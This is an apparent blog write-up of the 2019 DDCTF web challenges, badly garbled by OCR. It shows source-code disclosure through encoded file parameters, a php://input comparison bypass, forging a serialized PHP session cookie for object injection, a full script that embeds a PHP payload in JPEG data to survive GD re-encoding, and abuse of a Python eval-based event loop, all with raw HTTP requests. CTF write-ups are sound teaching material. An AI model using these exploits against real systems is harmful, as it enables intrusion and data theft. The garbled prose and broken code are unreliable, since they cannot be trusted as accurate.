2019ddctf web WriteUp

as-root T 2019-04-20 22:50:15 K Ai 412 g

FRBCE B s ASCA T E AR, #E_CC 4.0 BY-SA FBUIMN,  Feaai bt b5 S AL RE AR 7 B
A HERZ: https://blog.csdn.net/weixin_ 4399937 2/article/details/89409888

AL

web

1.3

& SR
http://117.51.150.246/index.php?jpg=TmpZMIF6WXhOamN5UIRaQk56QTJOdz09
TmpZMIF6WXhOamN5UIRaQk56QTJOdz09 1k base64 decode, i hex2bin, 133 flag.jpg

16EFIEDIAFRERATEE, EESITEE COSHEGaEE)

NEBEFFREE A LBidiem
666C61672E6AT067

16HIEEFF  FRI6HER EEER

utf-8
flag.jpg

pESIP gt
Y, index.php F:4 4165, #A/52!kbaseb4 encode, HH{TiH:HX
HHEFENA, KIW—HiX4, baseb64 decodefd F| AT

PD9waHANCi8gDQogKiBodHRwczovL23sb2cuY3Nkbi5uzZXQvRmVuz@JhbkxpdV11bi9hcnRpY2x1L2R1dGFpbHMVODA2MTY2MDcNCiAqIERhAGU6
TEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3J1cG9ydGluZyhFX@FMTCB8FCB+RVO0T1RIQOUpOWOKDQONCmh1YWR1cignY29udGVudC10eXB1l0OnR1l
eHQvaHRtbDtjaGFyc2VOPXV0Zie4Jyk7DQppZighIGlzc2VOKCRFROVUWYdqcGecnXSkpDQogICAgaGVhZGVyKCdSZWZYyZXNoOjA7dXIsPS4val5Sk
ZXgucGhwP2pwZz1UbXBaTWxGN1dYaE9hbU41VWXSYVFrNTZRVEpPZHowOScpOweOKIGZpbGUgPSBoZXgyYmluKGIhc2U2NFOKZWNvZGUoYmFzZTY@
X2R1Y29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dG1ObGU+Iy4kX0dFVFsnanBnJ10uJzwvdGlObGU+JzsNCiRmaWx1IDOgcHI1Z19yZXBs

YWNIKCIVW15hLXpBLVowLTkuXSsvIiwiIiwgIGZpbGUpOwOKZWNobyAkZmlsZS4nPC9icj4nOweKIGZpbGUgPSBzdHIfcmVwbGFjZSgiY29uZmln
LTiwiISISICRmaWx1KTsNCmVjaG8gJGZpbGUuIzwvYnI+JzsNCiROeHQgPSBiYXNINJRTZW5jb2R1KGZpbGV{Z2VOX2NvbnR1bnRzKCRmalWx1KSk7|
DQONCmVjaG8gIjxpbWcgc3IjPSdkYXRhOm1tYWd1L2dpZjtiYXNINjQsIidkdHhOLiInPjwvaWlnPiI7DQovKgOKICogQ2FuIHlvdSBmaW5kIHRQ
ZSBmbGFnIGZpbGU/DQogKgOKICovDQoNC]j8+DQo=



https://blog.csdn.net/weixin_43999372
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_43999372/article/details/89409888
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

error_reporting(E_ALL E_NOTICE);

header(
if(! isset($ GET[ 1))
header(
hex2bin(base64 decode(base64 decode($ GET[ 1)));
.$ GET[ 1. ;

preg replace( ', $file);
echo $file. :
str_replace( , $file);

base64_encode(file _get_contents($file));

L$txt.

HINEPIXRGALH, RE R — ML, A — A H W, 5 8RR R 7E 12 H I B 1% T B 1 opofs AR 5
practice.txt.swp U, S HUZ RS a1 T 4
(i) view-source:http://117.51.150.246/index.php?jpg=TnpBM01qWXhOak0zTkRZNU5qTTJOVEpsTnpRMO9EYZBNbVUZTXpjM0O56Q T s p*d a BEJHE o d o

o szmn. o FIxE Dof Gxees Oesyang Oswnme: ORR=mAEmE O reeens GssTs Omt B
)2 TKkRINUSqTT JOVEpsTnpRMO9EYzBN0VUzTYp jM056QT0=</titlebpractice. txt. swp<{/br>practice. txt. swp</br><img src=' data:image/gif .baseb4, ZiFhZvFLICN0OZiSwaHA=" ></img>

fif 5 base6413 #f1ag!ddctf.php, X5k Hf1ag!ddetf.php, KN EEECCLE 745 X foiF a-zA-Z0-9,  fir LA AT F $file =
str_replace(“config”,"!", $file);ix 21, FAiTiEHf1ageconfigddctf.php, AH52HL
flaglddctf.php, H/E3RAMT

PDO9waHANCm1uY2x1ZGUoJ2NvbmZpZy5SwaHANKTsNCiRrIDOgI2h1lbGxvIzsNCmV4AdHIhY3QoJF9HRVQpOwOKalWYoaXNzZXQoJIHVpZCkpDQp7DQog|
ICAgIGNvbnR1bnQ9dHIpbShmaWx1X2d1dF9jb250ZW50cygkaykpOwOKICAgIGImKCR1aWQIPSRjb250ZW50KQOKCXsNCgkIZWNobyAkZmxhZzsN

Cg19DQ0IZWxzZQOKCXsNCgkIZWNobydoZWxsbyc7DQoJfQOKfQOKDQo/Pg==

base64 iy



$content=trim(file_get contents($k));
if($uid==%$content)

I
1
echo $flag;

1
J

else

{

echo

1
J

N oRa R — MR 5 nfile_get _contents 5 php:/finputés &
Ht UL Ja payload il N

http://117.51.150.246/f1lag!ddctf.php?k=php://input&uid=

th AT A

http://117.51.150.246/flag!ddctf.php?k=&uid=



& ¢ @
0 | HETUER..
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[Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options IA\ens ]

Go Cance
Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

Target: http://117.51.158.44 [ﬁj g

20S8T /fapp/Anth.php HITR/ 1.1

Host: 117.51.155.44

Jaer-Agent: Mozila/5.0 (Windows ITT 10.0; WinG4; =64; rnv:63.0)
Seclto/ 20100101 Firefor/63.0

Lecept: application/json, text/javascript, */*; q=0.01
Yeocept-Langnage:
1-CH,2hi;n=0.8,zh-TW;n=0.7,2L1-HI;n=0.5,en-US;n=0.3,en;q=0.2
Secept-Encoding: gzip, deflate

Referer: http://117.51.158.44/index.php

Content-Type: application/json;charset=ntf-3

didietf_nsernae: ar_huinl

{-Requested-With: XMLHttpReqnest

Zonnection: close

Zoolsie: Hu_lvt_ddeGba2851£3db0dde4 15ce0f895822e= 1555038063,
Ju lpvt_ddefba2851£3db0dde4 1 500139 5822e=1555675064
Content-Length: 0

7] 5/ B L 8 B D

url:app/Application.php

Class Application {
var $path 5

public function response($data, $errMsg

$ret [ $errMsg,
$data];

$ret = json_encode($ret);
header(

echo $ret;

public function auth() {
$DIDICTF_ADMIN
if('empty($_SERVER[
$this->response(
return TRUE;
}else{

e

HITF/1.1 200 OK

Server: nginx/1.10.3 (Ubnntn)

Deate: Fri, 19 Apr 2019 12:48:17 GMT
Content-Type: application/json
Connection: close

Content-Length: 140

{"errlh

"enccess”,"data”:"\nG0a3\ 15153\ 1524d\ n 553\ n524d\ 16743\ n9650 \ n4e3a\ nThal \n7406

\15458-—-\ 18b{7\n8bbf\ n95eeiapp) / fL2XKID2A0CL. plip'}

1) $_SERVER[

ICTF_ADMIN) {




bj
private function sanitizepath($path) {

$path = trim($path);
$path=str_replace( , ', $path);
$path=str_replace( , ', $path);

return $path;

public function _ destruct() {

if(empty($this->path)) {
exit();

}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) 18) {

exit();

b
$this->response($data=file_get contents($path),

}
exit();

url:app/Session.php

include ;

class Session extends Application {

var $eancrykey

var $cookie expiration 7200;
var $cookie name

var $cookie path

var $cookie domain

var $cookie secure

var $activity

public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data 8
$data sprintf($data,$ SERVER[
parent: :response($data, )
}else{
$this->session_create();
$data

parent: :response($data,




private function get key() {

$this->eancrykey file_get contents(

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;

}

$session = $ COOKIE[$this->cookie_name];
if(!isset($session)) {

parent: :response(

return FALSE;
b
$hash = substr($session,strlen($session)-32);
$session = substr($session,@,strlen($session)-32);

if($hash md5($this->eancrykey.$session)) {
parent: :response(
return FALSE;

)i

$session = unserialize($session);

if(!is_array($session) OR !isset($session] 1) OR !isset($session[ ]) OR !isset($se

D
return FALSE;

empty ($_POST[ ) A
$arr = array($_POST[ 1,$this->eancrykey);
$data 5
foreach ($arr as $k $v) {
$data sprintf($data,$v);
)i

parent: :response($data,

if($session] $ SERVER[
parent: :response(
return FALSE;

)i

if($session] $ SERVER[
parent: :response(
return FALSE;

}
return TRUE;

private function session_create() {
$sessionid ;
while(strlen($sessionid) 32) {

$sessionid .= mt_rand(0@,mt_getrandmax());




$userdata = array(

md5(uniqid($sessionid, TRUE)),

$_SERVER[
$_SERVER[

1s
1s

)5

$cookiedata serialize($userdata);
$cookiedata.md5($this
$this

$cookiedata eancrykey.$cookiedata);

time();

$expire

cookie_expiration

setcookie(
$this
$cookiedata,

cookie_name,

$expire,
$this
$this
$this
)

cookie_ path,
cookie_domain,

cookie_ secure

$ddctf
$ddctf

new Session();
index();

R (1) R R A2 I W 2 5 /7 7Eddctf_idiX Ncookie, FEHANZS, AEAEEFE N2 Bk © fsession_create()fildsession, i
fH4icookie, TIKIERA [iZcookie, FH MM &F FXA, A HERLZE M T .

//eancrykey
Sthis->eancrykey =

&= o - -

andiflag under the folder
file get contents('../config/key.txt');

i S B LY

e E—iR, KISsessionfKI{E & Mcookie T HLK (HuhZcookie il nl ) it — Z¥IAbB, SRE%EANH T unserialize®', B
BT U F A

‘$S€SSiOD = $ COOKIE[Sthis->cookie name];
if(!isset(Ssession)) |
5 parent: :response ("session not found", 'error');
return FALSE;

H
Shash = substr(Ssession,strlen(Ssession)-32);
Ssesslion = substr(Ssession,0,strlen(S$session)-32);

Jj

Ssession = unserialize ($Ssession) ;

NilZrApplication 2 Hh i 45 Spathlt (B g vl DAL SO, bk, S S 5t 2 i i& cookie FI A LTI 7411k, sLF1{kApplication/y
$pathlit e, 2R/l LA Riflag 1



Class Application {
var $path 5

public function response($data, $errMsg
$ret [ $errMsg,
$datal;
$ret = json_encode($ret);
header(

echo $ret;

public function auth() {

$DIDICTF_ADMIN

if(!empty($_SERVER[ 1) $_SERVER[
$this->response(
return TRUE;

}else{
$this->response(
exit();

}
private function sanitizepath($path) {

$path = trim($path);

$path=str _replace( , ' ,$path);
$path=str_replace( , ', $path);
return $path;

public function _ destruct() {

if(empty($this->path)) {
exit();

}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) 18) {

exit();

b
$this->response($data=file_get contents($path),

s
exit();

(BAEFFIb 2 BiE a0 MRS 35 Bigend, a2 7 Feancrykey A RE#)id

if($hash == md5($this->eancrykey.$session))

kA AU I AR

$DIDICTF_ADMIN) {




if(!empty($_POST[
$arr = array($_POST[ 1,$this->eancrykey);
$data 5

foreach ($arr as $k $v) {

$data sprintf($data,$v);

1
J

parent: :response($data,
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[Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer T Decoder I Comparer I Extender I Project options I User options IAIerts ]

12 (2% |3 = |4x=x|5x|6=x [F=x

Go Cancel | [ < |v || >|v Target: http://117.51.158.44 @@

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

.

FOST /app/Session.phip HITP/ L] 4 HITP/L.1200 OK i

Hoat: 117.51.158.44 Server: nginx/1.10.3 (Ubnntm)

User-Agent: Mozilla/ 5.0 (Windows NT 10.0; Win64; =64; rv:63.0) Geclio/20100101 Date: Sat, 20 Apr 2019 04:17:09 GMT

Firefos/63.0 Content-Type: application/json

Accept: application/json, text/javascript, */*; q=0.01 Connection: close

Accept-Langnage: 21-Cl,zl1;q=0.8,2L-TW;q=0.7,211-HK:n=0.5,en-US:n=0.3,en;q=0.2 Set-Coolzie:

Accept-Encoding: gzip, deflate ddctf id=a%3A4%3A% 7Ba%3A10%3A%22seonlon_1d% 22%3Ba%3A32% 3A% 22299 5dcd375

Referer: Littp://117.51.158.44/index.plip 7948e65b1e6aile 59651 13%22%3Ba%3A10%3A%221p_address%22%3Bs% 3A13%3A%221

q)cmtcnt-'l'ypc: application /z-www-foru-nrlencoded | 25.70.254.70%2293Bs%3A10% 3A% 22nser_agen tth 2293 Bs% 3ATE% 3A% 22 M oz1lla % 2F 5.

didictf_nsernaiue: adiin — 0+% 28Windows+HITT+10.0%3B+Win 64% 3B +x64% 3B +rv % 3AG63. 0% 29+Gecl:a % 2F20 100101

H-Reqnested-With: KMLHttpReqnest / +Firefor?2F63.0%622%3Bs% 3A0% 3A% 22naer_data® 227 3Bs% 3A0% 3A% 22% 22% 3B% 7D

Connection: close e5858a6aa40Th98e3c08171e36731; expires=5Sat, 20-Apr-2019 06:17:09 GMT;

Coolsie: s Max-Age=7200

Content-Length: 11 Content-Length: 188

nicltname=%s {"errMag":"snccess”,"data":"\ n60a8 \ 1553 1524d\ 1553 1524d\ 16743\ n9G50 \114:3&\117
bal\n7406\15455----\n3bf7 \n8bbf\ n95ee:app!, /fL2XID2I0CAL. php'H errMag""anceaa”,
data":"DiDI Welcowue yon %a"}

5 31key EzbIrbNS

| Go Cancel < v >\ Target: http://117.51.158.44 @ @ B

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /fapp/Session.php HITP/ 1.1 : HITP/ 1.1 200 OK : E

“|Hoat: 117.51.155.44 Server: nginz/1.10.3 (Ubnntn)

= User-Agent: Mozilla/5.0 (Windows 17T 10.0; WinG4; 264; rv:63.0) Geclio/20100101 Date: Sat, 20 Apr 2019 04:18:16 GMT

9| Firefor/ 63.0 Content-Type: application/json

4|Accept: application/json, text/javascript, */*; q=0.01 Connection: close

dAccept-Langnage: 21-CH zl;q=0.8,z1-TW;q=0.7,2L-HI;q=0.5,en-US;q=0.3,en;q=0.2 Content-Length: 323
Accept-Encoding: gzip, deflate

o Reterer: Littp:// 117.51.158.44/ index.php {errllsg’:"snccess”, "data’ \ nG0AS | 15653 1524\ 15653} 1 524d\ 6743\ 19650\ ndeda\nT
Content-Type: application /z-www-foru-nrlencoded balin7406415458----\n8b 7\ n8bbf\n95eeapp /fL2XID20CAL. phip i errMsg": "Welcoue"
didietf_nsernaue: adwin Jdata”:"Weleowe wy fricndH"crl leg":"ancess"”,"data":"DiDI Welcowie yon

4 X-Requested-Witli: XMLHttpRequest Mozilla\ /5.0 (Windows MT 10.0; WinG4; 264; rv:63.0) Geclzo\ /20100101 Firefox\ /63.0"}

| Connection: close

Cooltie:

ddetf_id=a%3A4%3A% TBs%3A10%3A%22session_1d%22763Bs% 3A32%3A% 22299 5dcd375
1| 7948e65b 1e6afle5965113%22%3Ba%3A10%3A%221p_address%22%3Bs% 3A13%3A%221

25.70.254.70%22%3Bs%3A10%3A% 22nser_agent?229%3Be%3A75%3A% 22Mozilla% 2F 5.0

+2%28Windows+1TT+10.0%3B+Win64%3B+u64%3B+rv?3AG63.0% 29+ Geclio%% 2F20 10010 1+F
irefor? 2FG63.0%22% 3Ba%3A9%3A% 22naer_data®%22%63Be%3A0% 3A%22%622%3B% TDf%e

5858a06aa4cTh98e3c0817 1236731

Content-Length: 11

niclnaine="%s

IR JE BAIAI i key R b i LLoeid 7 H B i i& (fisessionll T,

@:4:{s:10:"session_id";s:32:"2995dcd3757948e65ble6af1e5965113";s:10:"ip_address";s:13:"125.70.254.70";s:10: "usen
agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0";s:9:"user_data";s

; 1f9e5858a6aa4c7b98e3c08f71ee36731;




S T RERL 2 Hkey S P SIMLAE HFHEIR JFmd5
IRIE 5 5 TH B mdS B #E4T LE AL

$hash

$session

substr($session,strlen($session)-32);

substr($session,@,strlen($session)-32);

if(\$hash md5(\$this->eancrykey.\$session))

AT E S 7 H1 % 9 N Applicationf s %, LLHKR SO, BB Applicationss, TSR F e, M55

R ANEY Y

<?php

class Application

{
var $path

1
J

$a

echo serialize($a);

new Application();

?>

i s~

Y )5 N cookie?s #flag
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[Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer [ Decoder I Comparer [ Extender [ Project options I User options TAIerts ]

1« (2x |3 x[4x[5=x=]|6x |

Go Cancel < |v > | Target: http://117.51.158.44 | & E
Request Response
Raw | Params | Headers | Hex

Raw | Headers | Hex

POST fapp/Session.php HITP/ 1.1

Hoat: 117.51.158.44

User-Agent: Mozilla/ 5.0 (Windows T 10.0; WinG4; 264; rv:63.0) Geclo/20100101
Firefox/63.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Langnage: zL-CIT,zl;0=0.8,zL-TW;n=0.7,zL-HIn=0.5,en-US;q=0.3,en;1=0.2
Accept-Encoding: gzip, deflate

Referer: Littp://117.51.158.44/ index php

Content-Type: application /z-www-forw-nrlencoded

didictf_nsernae: adwin

H-Requested-With: XMLHttpReqnuest

Connection: close

e

Coolzie:
ddetf_1d=264f63a%31%31%3a%
2631%3a% Th% 73%3a% 34%3a%

64 19670% 70% 6e%69% 63% 6 196 7 4% 69% 6% Ge%
0%61%7 4% 65% 22%30b% 73% 3a%632%3 1% 3a%

2
&% 2e% 2e% 2% 20 2% 63% 61% 6% 6620 69% 6 7% 2126 66% 6c% 6 1% 6 7% 2% 7 4% T8% 7 4% 22%
3b% Td%3 7% 3 7% 63%64% 3 5% 35%6 1% 38% 64% 3 2939% 64% 6673 4% 667 30%30% 3 5% 66

h30%35% 65%35%%33% 36%64%30%

Content-Length: 13

Ha306% }632‘}ﬁ351|

—o

niclinalue="%s

3.Web - Upload-IMG

HITP/ 1.1 200 OK

Server: nginxz/ 1.10.3 (Ubnntn)

Date: Sat, 20 Apr 2019 04:46:03 GMT
Content-Type: application/json
Connection: close

Content-Length: 220

{"errMsg":"snceess”,"data":"\n60ad \ 1553\ n1524d\ n5(53 15244\ nG743\n9650 \ n4e3a\nT
balin74064 15455 \n8bfT\ n8bbf\n95ee:app / {LZXKID2I0C L. php H"errMsg":"Congratn
lations","data":"DDCTF{ddetf20 19_G4nqwiGE_pHVIHIDDGAV G A2j"

TR AR E R A phpinfo, AERREIA H, (HEHR AL EHERER, google php 2 I A 55250, $RBgd A ki

Y, Hwinhexd] FF 56—k bAL JG T # I A, &k Igd

U A 8BS B 3 B

74 T

le Edit payload_190414034158_

-

4. l90420084206_659400?46j".l

| === - P T -

AaA aa am oa. A ar A anm AT o
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$miniPayload
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74 79
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SRJE TR AR AR T A

function_exists(

52
2E

30
a7
is
23
DB
28
28
28
08
1F
0o
oz

91
1le
43
65
g7
A7
c7
E6
1F

oz
03

34
3A
64
85
LS
Ccs
ES

o

45
30

oA
0e
17
26
0o
28
28
28
01

01
01

Al
17
44
(1]
a8
A3
c8
E7
01

01
11

El
43
65
g6
Lo
Ce
E6

=

41
20

FF
08
14
27
43
28
28
28
2F

0z
03

(o}:]
18
45
67
89
AS
co
EB
oo

0z
04

25
44
66
87
a7
c7
E7

v

54
28

DB
0A
1le
29
01
28
28
28
01

03
03

23
19
46
68
8A

CR
ES
03

04
0s
Al
Fl
45
e7
a8
RS
c8
ES

11

AF
75

0o
10
16
2n
a7
28
28
28
F4

04
oz

42
1A
47
69
92
BZ
D2
ER
01

04
21
Bl
17
46
68
89
LS
co
ES

EA

52
73
2C
43
02
1n
29
07
28
28
28
03

0s
04

Bl
25
48
%
83
B3
D3
Fl
01

03
31
cl
18
47
€9
=

Ca
En

13

32
€28

0o
0R
1D
18
o7
28
28
28
01

06
03

cl
26
49
13
94
B4
D4
F2
01

04
06

1g
48
[3:%
92
B2
Dz
Fz

14

20
EE

0e
0%
25
1iF
N
28
28
28
22

07
0s

15
27
LN
74
95
BS
D5
F3
01

07
iz

ia
49
13
93
B3
D3
F3

1o

€7
€7

04
0g
1F
2D
o8
28
28
28
0o

08
05

52
28
53
75
Se
BE
De
F4
01

05
41

26
aa
74
94
B4
D4
F4

10

€4
20

0s
0A
1n
30
0R
28
28
28
0z
01
09
04

jukl
29
54
76
97
B7
D7
F5
01

04
51
52
21
53
75
95
BS
D5
FS

17

2D
49
ec
oe
14
1B
2D
13
28
28
28
i1

oA
04

FO
2h
55
117
98
BE
D&
F6
01
oA
04
a7
FO
28
54
16
96
BE
Dé
Fe

V@ya JFIF e

Vb iCREATOR: gd-—
jpeg v1.0 (usin@i I

JEJEEG w0 ir-win

ity = 80 %0

i '1a @
a "g 2 '; #¥BiA REHS
$3br, FE'()*
456789 :CDEFGHIJSTU
VWXYZcdefghijstuvw
RYEF et RS N

aza-cyq-
1o ARRRAECEEEGOSSEx
U044353CE8A04860
@t yh

¥A2 p

W 1 AgQ

ag "2 B';+A #3R8
brii  5S44%# &' (

) *56789: CDEFGHIJST
UVWXYZcdefghijstuv
WEYZ, fpmtt BE Ve
—"mEeEnE|§TEAA
-, 1o ARAAECEEROOAA0
xgUUaa5d2c2480548585



https://xz.aliyun.com/t/2657#toc-13

if(!isset($argv[1i])) {
die(

set_error_handler(

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis new DataInputStream($argv[1l]);
$outStream = file get contents($argv[1l]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() OxXFFD8) {
die( )3

while((!$dis->eof()) ($dis->readByte() OxFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() 2;
$dis->skip($size);
if($marker OxDA) {
$startPos = $dis->seek();
$outStreamTmp
substr($outStream, 0, $startPos)
$miniPayload .
str_repeat( ,$nullbytePayloadSize)
substr($outStream, $startPos);
checkImage( .$argv[1], $outStreamTmp, TRUE);
if($extraBytes 9) {
while((!$dis->eof())) {
if($dis->readByte() OXFF) {
if($dis->readByte 0x00) {

break;

¥
$stopPos = $dis->seek() 2;

$imageStreamSize $stopPos $startPos;
$outStream
substr($outStream, 0, $startPos)
$miniPayload .
substr(
str_repeat( s$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes)
substr($outStream, $stopPos);

} elseif($correctImage) {

$outStream $outStreamTmp;

} else {
break;

)

if(checkImage( .$argv[1], $outStream)) {
die(

} else {




unlink( .$argv[1]);
die( )5

function checkImage($filename, $data, $unlink = FALSE)
global $correctImage;
file put_contents($filename, $data);
$correctImage TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage FALSE;

if(preg_match( , $errstr, $m)) {

if(isset($m[1])) {
$extraBytes (int)$m[1];

class DataInputStream {
private $binData;
private $order;

private $size;

public function _ construct($filename, $order = false, $fromString

$this->binData 5

$this->order = $order;

if(!$fromString) {
if(!file _exists($filename) is file($filename))

die( .$filename. )

$this->binData = file get contents($filename);

} else {
$this->binData $filename;

)i

$this->size strlen($this->binData);

public function seek() {

return ($this->size strlen($this->binData));

public function skip($skip) {
$this->binData substr($this->binData, $skip);

public function readByte() {
if($this->eof()) {
die( )5
)i
$byte = substr($this->binData, 0, 1);
$this->binData substr($this->binData, 1);

false)




return ord($byte);

public function readShort() {
if(strlen($this->binData) 2) {
die( )5

1
J

$short substr($this->binData, 0, 2);
$this->binData substr($this->binData, 2);
if($this->order) {

$short (ord($short[1]) 8) ord($short[0]);
} else {

$short (ord($short[0]) 8) ord($short[1]);

1
J

return $short;

public function eof() {
return !$this->binDatal | (strlen($this->binData) 9);
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homebrew event loop

A

XML IR A fEeval i B, FATTAT LUR#S B SI0A_ handlerfll_ function, MIM-S8UE = B AT« FA Tk AT LLSZEL
trigger_eventi®#, M {Eevent_queue ¥ llevent

try: AL
event handler = eval(action + (' handler' if is action else ' function'))
ret val = event handler (args)

—/while, i sz Blevent_queue [Jevent handlerifunction, iz (1) &% sl 2 7] LA F AT 2 handle flfunction

while len(request.event queue) > 0:
event = request.event queue[0] # “event  is something like "action:ACTION;ARGSO#ARGSI#ARGE
request.event gqueue = request.event queue[l:] w
if not event.startswith(('action:', 'func:')): continue
for ¢ in event:
if ¢ not in valid event chars: break

else:
is_action = event[0] == 'a’'
action = get mid str(event, ':', ';')
args = get mid str(event, action+';').split('#")
try:

event handler = eval(action + (' handler' if is action else ' function'))
ret val = event handler (args)



R SRE W T flag(),{H 25 K session[ num_items’[>=5#] 4R {E N

Gapp.route(url prefix+'/")
idef entry point():

querystring = urllib.ungquote (request.query string)
request.event queue = [] B
E if querystring == '' or (not guerystring.startswith('action:')) or
- querystring = 'action:index;FalsefFalse'
E if 'num ifems' not in session:
session['num items'] = 0
segssion['points'] = 3
- session['log'] = []
request.prev session = dict(session)

trigger event (querystring)
. return execute event loop()

def get flag handler (args):
if session['num items'] >= 5:
trigger event('func:show flag;' + FLAG()) # show flag function has been disabled, no worries
trigger event ('action:view;index')

FAVE W B AT LL{fisession[ num_items’ | i, 4k 1% 55

def buy handler (args):
num items = int(args[0])
if num items <= 0: return 'invalid number ({}) of diamonds to buy<br />'.format (argsf0])
session['num items'] += num items m
trigger event (['func:consume point;{}'.format(num items), 'action:view;index'])

Adef conanme noint finctionfaras) e

_THNX B2 s Inconsume_pointFlevent_queue, W1 iZconsume_point function fEget flag handleff) 2 gisz®il, 44
raise RollBackException(), MIMiE Hiwhile, S3get flag_handlerf~gEszHl, FrLlE #Ebuy handlerfil Aevent_queue /s ST
get_flag_handlerjii Aevent_queue

def consume point function(args):

point to consume = int (args[0])
if session['points'] < polint to consume: raise RollBackException()
session['points'] -= point to consume

G e tflaghn Asession, M _L4RAN A fi# 2% sessionifh T

def get flag handler (args):
if session['num items'] >= 5:
trigger_ event ('func:show flag;' + FLAG()) # show flag function has been disabled, no worries
trigger event ('action:view;index')

(o N

lef trigger event (event):
session['log'].append(event)

It LAt 5 fipayload i



http://116.85.48.1

5002/d5af31f66147e657/?action:

- L L L L

F}El‘ /d5af31166147e657/ Paction:trigger_event%23;action:bny;50%23action:get_flag;l
HITF/1.1

Host: 116.85.48.107:5002

User-Agent: Mozilla/ 5.0 (Windows IT 10.0; WinG4; 264; rv:63.0) Gecleo/20100101
Firefon/63.0

Accept: text/ htwl,epplication /=htil +zul a pplication /zuln=0.9,* /*q=0.8
Accept-Langnage: zLi-CI,zli;0=0.8,z1-TW;q=0.7,zL-HIq=0.5,en-US;q=0.3,en;=0.2
Accept-Encoding: gzip, deflate

Connection: close

Coolsie:

'y
r

session=.eJxutzl LrwjAYBeC_MnLtRAoillQUyFERBaMITwlIGnGGI1=0piEYn 0fEf_Tnl0hu7174Ry
299y APWOBSn 4 DLal:oGASLEL n Vllow Swedfggeidasuld Yq NS e pb0nZzT B{7 0T IKIvtT 71ifjc
FOOETachChTZBN=]_=U_of-Hglwr 3awtdalil:OvIWGB 4N D2VEALTHE 557 C drwddz 19 v 2V _1:
K-TFHEQOEULB 1nUGzlegrmbeKjy 7 UT 888xER0T-g MOOWAL ol LA 3-yeZ3C 191 M GhiuwDE
JgA9L Sy=-GM Tt8a 5X Qe . DSy _vA.SJriD04cZelirerSA41 SAza-yz2w

Upgrade-Inseenre-Renquests: 1
Caclie-Control: wuax-age=0

-

HITP/1.1 200 OK

Server: gnnicorn/19.7.1

Date: Sat, 20 Apr 2019 14:35:52 GMT

Connection: close

Content-Type: text/Ltul; charset=mtf-8

Content-Length: 113

Set-Coolzie:

session=.eJutzl IrwjATBeC_MnLtRAcITQUyFEzBal Ml Gn GGI1x0 piEVq OfEf Tnl0hu7174R
ye99yAZWYBSn 4DLxl:oGASLBLA Xn 7llow Swedfggaidasild ¥ T Se po0r=XZzT {70rTIKIytT 7Iaf
jeFOSETach CLTZBIT:j_xU_of-Hylwq 3awtdall:OvIWGB 41T D2VLAITKS57ICdrwddx 19 g Tvv 2V
_kK-TFHEQ9EULB1nUQGzlegrnbeKjy TUT 38 82ERD V-gM 0 OWAN Iok LFL 3-ye Z8C 19rMobumw
DEjgA9Db Syn-6M7t8a5XJe. DSy_vA._nWdGoll_VOSEQY_G6_rRN_gyFUe0; HttpOnly; Path=/

ERROR! All transactions have been cancelled. <br /><a
Lref="./ Paction:view;index">Go back to index.hitul</a><br />
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import sys

import zlib

from base64 import bé64decode

from flask.sessions import session_json_serializer

from itsdangerous import base64 decode

def decryption(payload):
payload, sig payload.rsplit(b , 1)
payload, timestamp payload.rsplit(b , 1)

decompress False
if payload.startswith(b
payload payload[1:]

decompress = True

try:
payload base64_decode(payload)
except Exception as e:

raise Exception(

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:

raise Exception(

return session_json_serializer.loads(payload)

if _ _name__ :

print(decryption(sys.argv[1l].encode()))
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